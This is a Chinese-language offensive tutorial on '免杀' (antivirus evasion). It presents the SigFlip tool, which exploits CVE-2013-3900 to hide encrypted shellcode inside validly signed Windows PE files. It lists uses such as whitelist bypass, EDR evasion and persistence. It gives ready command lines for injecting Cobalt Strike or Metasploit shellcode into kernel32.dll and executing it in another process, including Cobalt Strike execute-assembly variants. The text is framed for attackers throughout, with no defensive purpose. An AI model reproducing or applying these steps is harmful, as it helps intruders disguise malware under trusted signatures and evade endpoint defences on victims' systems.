免杀基础–免杀工具SigFlip
0x00 介绍
github 开源地址:https://github.com/med0x2e/SigFlip
SigFlip是修改被authenticode签署的PE文件(exe、dll、sys 等)的工具,但是不影响现有authenticode签名。换句话说你可以改变PE文件HASH,通过嵌入数据例如将自己的shellcode,而不破坏文件签名、完整性检查和PE文件的功能。
0x01 Bypass 原理
利用的漏洞是CVE-2013-3900,归类为远程代码执行。
该漏洞存在于WinVerifyTrust函数验证Windows签名的PE文件。攻击者可以利用这个漏洞修改一个现有的签署文件的PE文件利用,将恶意代码添加到文件而不破坏签名。成功利用此漏洞的攻击者可以完全控制受影响的系统。攻击者可以安装程序,查看、更改或删除数据,也可以创建新帐户与完整的用户权利。
0x02 利用场景
主要用于持久性、横向移动或代码/命令执行。
- 应用程序白名单绕过,在不破坏签名的情况下更改 PE 文件哈希(例如 msbuild.exe)。
- 绕过依赖特定 LOLBIN 哈希值的 EDR 来检测恶意代码/命令执行。
- 使用不同的哈希加载签名驱动程序,可能有助于规避任何 EDR 使用预定义的哈希列表监视常见易受攻击的签名驱动程序。
- 将加密的 shellcode 嵌入到签名的 PE 文件中,并使用您喜欢的 stager (sigloader) 来解析、解密、加载和执行它。
- 终端安全供应商在大多数情况下倾向于将签名的 PE 文件归类为良性,将您的未签名代码(如shellcode)嵌入到签名的 PE 文件中使其有点难以检测。
- 绕过主要依赖默认 WinVerifyTrust 进行签名验证的端点安全供应商。
- 绕过仅依靠典型的签名验证实用程序(例如 signtool、sigcheck、Get-AuthenticodeSignature 等)来验证 PE 文件的authenticode签名。
0x03 使用举例
- 将随机数据注入 msbuild.exe:
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"
- 将 shellcode 注入 kernel32.dll:
SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"
- 加载上述被注入的shellcode的kernel32.dll:
Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300
当然也可以用于 Cobalt Strike,使用该工具C#编写版本,可用CS的命令execute-assembly内存执行。
1. 将随机数据注入 msbuild.exe: execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exe 2. 将 shellcode 注入 kernel32.dll: execute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKey 3. 加载上述被注入的shellcode的kernel32.dll execute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354